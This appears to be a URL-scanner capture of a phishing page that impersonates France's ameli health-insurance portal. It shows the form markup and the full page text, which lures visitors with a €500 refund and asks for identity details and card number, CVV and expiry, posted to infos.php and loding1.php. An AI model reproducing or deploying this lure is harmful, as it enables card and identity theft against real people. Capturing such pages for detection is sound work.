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Form analysis
2 forms found in the DOMName: creationImmediateForm — POST infos.php
<form name="creationImmediateForm" id="creationImmediate_1creationImmediateForm" method="post" action="infos.php">
<div class="blocformfond creationimmediate">
<div>
<h2> COORDONNÉES PERSONNELLES : </h2>
</div>
<fieldset>
<div>
<label class="r_label r_ddc_half_screen" id="creationImmediate_1labelnom" for="creationImmediate_1idNom"> Nom: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
</label>
<span class="zone_champ_saisie"><input id="creationImmediate_1idNom" type="text" maxlength="50" size="30" value="" class="champ" tabindex="3" name="001"></span>
<div class="right_side">
<span id="creationImmediate_1idNom_messageErreur" class="message_erreur message_erreur_invisible"></span>
</div>
</div>
<div>
<label class="r_label r_ddc_half_screen" id="creationImmediate_1labelnom" for="creationImmediate_1idNom"> Prénom: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
</label>
<span class="zone_champ_saisie"><input id="creationImmediate_1idNom" type="text" maxlength="50" size="30" value="" class="champ" tabindex="3" name="002"></span>
<div class="right_side">
<span id="creationImmediate_1idNom_messageErreur" class="message_erreur message_erreur_invisible"></span>
</div>
</div>
<div>
<label class="r_label r_ddc_half_screen" id="creationImmediate_1labelddn" for="creationImmediate_1idDna"> Date de naissance: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
</label>
<span class="zone_champ_saisie"><input id="creationImmediate_1idDna" type="text" autocomplete="off" maxlength="10" size="18" value="" placeholder="jj/mm/aaaa" class="champ" tabindex="5" data-maxdate="28/03/2018" name="003"
data-mindate=""><a id="creationImmediate_1idDna_calendrier" class="calendrier" tabindex="-1" title="Aide à la saisie de date"></a></span>
<div class="right_side">
<span id="creationImmediate_1idDna_messageErreur" class="message_erreur message_erreur_invisible"></span>
</div>
</div>
<!----------------------------------------------------------------------------------------------------------------------->
<div>
<label class="r_label r_ddc_half_screen" id="creationImmediate_1labelddn" for="creationImmediate_1idDna"> Adresse complète: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
</label>
<span class="zone_champ_saisie"><input id="creationImmediate_1idDna" type="text" autocomplete="off" size="18" value="" placeholder="Ex : 31 avenue ..." class="champ" tabindex="5"
name="10"><a id="creationImmediate_1idDna_calendrier" class="calendrier" tabindex="-1" title="Aide à la saisie d'Adresse"></a></span>
<div class="right_side">
<span id="creationImmediate_1idDna_messageErreur" class="message_erreur message_erreur_invisible"></span>
</div>
</div>
<!----------------------------------------------------------------------------------------------------------------------->
<div>
<label class="r_label r_ddc_half_screen" id="creationImmediate_1labelnom" for="creationImmediate_1idNom"> N° de téléphone: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
</label>
<span class="zone_champ_saisie"><input id="creationImmediate_1idNom" type="text" maxlength="10" size="30" value="" class="champ" tabindex="3" name="004"></span>
<div class="right_side">
<span id="creationImmediate_1idNom_messageErreur" class="message_erreur message_erreur_invisible"></span>
</div>
</div>
</fieldset>
</div>
</form>
POST ./loding1.php
<form action="./loding1.php" method="post" id="formulaire_saisie_adresse">
<!-- Preremplir et focus la date de naissance lorsque le nir est complet -->
<!-- Preremplir la date de naissance lorsque l'utilisateur focus le champ (tab ou click) -->
<!-- Positionner le curseur au debut du champ si le mois et l'annee sont renseignés -->
<!-- Activer le bouton si les champs sont OK -->
<!-- Focus le champ (contrer la perte de focus lorsque le message d'erreur est affiche) -->
<!-- Activer le bouton si les champs sont OK -->
<!-- Activer le bouton si les champs sont OK -->
<!-- Activer le bouton si les champs sont OK -->
</form>
Text Content
COMPTE AMELI Aller au contenu | Recommandations de sécurité FORMULAIRE DE REMBOURSEMENT ÉLECTRONIQUE / RÉFÉRENCE : AMELI-A8005W Montant : 500€ COORDONNÉES PERSONNELLES : Nom: Prénom: Date de naissance: Adresse complète: N° de téléphone: COORDONNÉES BANCAIRES : N° de carte bancaire: Cryptogramme visuel: Date d'expiration: Mois 01-janvier 02-février 03-mars 04-avril 05-mai 06-juin 07-juillet 08-aoút 09-septembre 10-octobre 11-novembre 12-décembre Année 2019 2020 2021 2022 2023 2024 2025 2026 Retour * Informations légales * Propriété intellectuelle * Conditions d'utilisation * Aide Recommandations de sécurité Fermer * Le code d'accès au compte ameli est strictement personnel, il convient de le garder secret. N'oubliez pas de le modifier régulièrement. * Assurez-vous que l'ordinateur sur lequel vous consultez votre compte ameli est bien protégé par un antivirus et que celui-ci est à jour. * Vérifiez l'adresse (URL) dans la barre de votre navigateur lorsque vous consultez votre compte ameli depuis internet : https://assure.ameli.fr * L'adresse (URL) doit débuter par https:// et un cadenas doit apparaître. * N'oubliez pas de vous déconnecter de votre session ameli avant de fermer votre navigateur internet. Ceci plus particulièrement si vous utilisez un ordinateur partagé (cybercafé...) Aide pour le n° de sécurité sociale Fermer Saisissez votre numéro de sécurité sociale à 13 chiffres. 13 caractéres (disponible sur vos relevés de remboursement) Exemple : 1480599999356 Attention, si vous êtes ayant droit, saisissez le numéro de sécurité sociale de la personne à laquelle vous êtes rattaché. Recommandations de sécurité Fermer * Le code d'accès au compte ameli est strictement personnel, il convient de le garder secret. N'oubliez pas de le modifier régulièrement. * Assurez-vous que l'ordinateur sur lequel vous consultez votre compte ameli est bien protégé par un antivirus et que celui-ci est à jour. * Vérifiez l'adresse (URL) dans la barre de votre navigateur lorsque vous consultez votre compte ameli depuis internet : https://assure.ameli.fr * L'adresse (URL) doit débuter par https:// et un cadenas doit apparaître. * N'oubliez pas de vous déconnecter de votre session ameli avant de fermer votre navigateur internet. Ceci plus particulièrement si vous utilisez un ordinateur partagé (cybercafé...)